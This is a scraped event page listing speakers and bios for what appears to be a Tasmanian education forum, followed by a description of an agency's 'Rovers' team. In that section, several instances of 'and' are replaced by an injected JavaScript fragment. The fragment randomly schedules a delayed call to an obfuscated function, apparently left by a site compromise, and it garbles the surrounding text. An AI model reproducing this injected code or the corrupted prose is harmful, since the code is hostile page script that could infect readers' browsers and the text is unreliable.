The Sessions




SESSION 1 is a showcase of selected educators, thinkers, doers and achievers.


    Professor of Management in Innovation, University of Tasmania

    A graduate of the Universities of Tasmania, Sheffield and Melbourne, David has been instrumental in developing health policy initiatives. His major fields of research concern the locality drivers of innovation and leadership in the public, private and community sectors. He has published extensively in public policy and management focusing on local governance and its links to innovation and wellbeing.

  • Professor Dirk Balztly

    Professor of Philosophy, University of Tasmania

    Dirk Baltzly is Professor of Philosophy at University of Tasmania and Adjunct Professor (Research) at Monash University. He holds a PhD in Philosophy from Ohio State University and a second PhD in Classics from Monash University. One focus of his research on the late Roman Empire has been the question of paideia or ‘higher education’.

  • John Daley

    Chief Executive, Grattan Institute

    John Daley is the inaugural Chief Executive of Grattan Institute, which provides independent, rigorous and practical solutions to Australia’s most pressing public policy issues. John’s work at Grattan Institute has focused on economic and budgetary reform with a particular interest in government prioritisation. He has 25 years’ experience spanning policy, academic, government and corporate roles.

  • Elizabeth Daly OAM

    Chair, Tasmanian Early Years Foundation

    Elizabeth Daly is a semi-retired senior educator with over 50 years of experience in the education sector as a teacher, principal and senior superintendent. She has acted as Commissioner for Children, worked and volunteered in the community sector with the Smith Family and Colony47 and is currently Chair of the Tasmanian Early Years Foundation and Youth Futures Inc.

  • Saul Eslake


    Saul Eslake has almost thirty years’ experience as an economist working in the Australian financial markets, including 14 years as Chief Economist at ANZ and, more recently, 3 years as Chief Economist (Australia and New Zealand) for Bank of America Merrill Lynch. He has also worked for the Grattan Institute and runs his own consulting business.

  • Leon Ewing


    A musician and media artist who works with young people in remote or regional communities and in tough urban environments, Leon has used art and technology to incentivise attendance and improve literacy. He is currently lecturing at Murdoch University in using tablet technology to deliver the new national arts curriculum in music and new media.

  • David Gilkes

    Kindergarten Teacher, Illawarra Primary School, Department of Education

    A passionate early childhood educator for 22 years, David has worked in various government and independent schools, including a period of time as Director of the Early Learning Centre at Canberra Grammar School. He is currently convenor of the Tasmanian Reggio Emilia Network and is a recipient of a National Excellence in Teaching Award for innovation in Early Childhood.

  • Ian Hewitt

    Coordinator, Young Migrant Adult English Program, TasTAFE

    Ian has been teaching for over 20 years. His current role at TasTAFE is teaching students from migrant, refugee and asylum seeker backgrounds and has seen him be a vocal advocate for an intensive English language centre for youth from Culturally Linguistic and Diverse Backgrounds (CALD). He currently coordinates the Young Migrant Adult English Program (Y-MEP) at TasTAFE.

  • Helen Hortle

    Coordinator, A Fairer World

    Helen’s passion is the value that authentic engagement with social justice and global perspectives can bring to improving learning outcomes, for both employability and citizenship. Her role has involved developing and delivering a uniquely Tasmanian diversity education program that aims to make schools safer and more inclusive environments. Helen’s diverse background includes experience and qualifications in education, social science and accounting.

  • Greg Lehman

    Research Associate, Australian National University’s Centre for Indigenous Studies

    A regular contributor to public discourse on Tasmanian identity and history, Greg has spent most of his life encouraging the recognition and understanding of Tasmania’s Aboriginal culture and heritage. He has served on a number of boards and is currently Research Associate at the Australian National University’s Centre for Indigenous Studies, investigating the role of deficit discourse in educational outcomes.

  • Nick Probert

    Tasmanian State Manager, Beacon Foundation

    Nick came to the Beacon Foundation after a successful career working with young people in a range of high performance and community coaching and management positions. The Beacon Foundation assists youth from around the state by partnering with secondary schools to engage business and industry to play a stronger role in assisting schools with their education.

  • James Riggall

    Managing Director, Bitlink

    James spent five years at the HITLab teaching courses in virtual reality, augmented reality, entrepreneurship and video game design and went on to establish Bitlink – a technology consultancy and software development house. James also serves as a director of Startup Tasmania, a not-for-profit organisation and networking group for Tasmanian entrepreneurs.

  • Professor Michael Rowan

    Adjunct Professor, University of Tasmania

    Michael’s main interests as a philosophy academic were reasoning in natural language and the philosophy of science, but most of his university career was spent in academic management. Today his interest is in improving opportunities and educational outcomes for young Tasmanians, strengthening support for education in all communities and breaking the acceptance that Tasmania will always lag behind the other states.

  • Joanna Siejka

    CEO, Youth Network of Tasmania

    As CEO of the Youth Network of Tasmania – the peak body for the youth sector and young people in Tasmania, Joanna provides input into and responds to policy direction, advocates for the youth sector and lobbies for the needs and initiatives of young people. She has specific interests in the areas of education, homelessness, employment and youth justice.

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    A team of ‘Rovers’ helped turn conversation into action by providing information that drew on their area of experience. Led by Matt Fishburn, Managing Director Clemenger/OMD Tasmania andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and Marcus Murphy, Creative Director Clemenger Tasmania, the Rovers’ skills encompass a range of disciplines including:

    • Commercial Creative Thinkers – shapers of ideals into ideas
    • Business Planning – evaluators of commercial reality andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and realisation
    • Digital – creators of digital media communication andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and production
    • Research – providers of quantitative andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and qualitative data on social andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and ethnographic behaviours
    • Strategy – framework builders that can assist an idea to be executed.

    The Background

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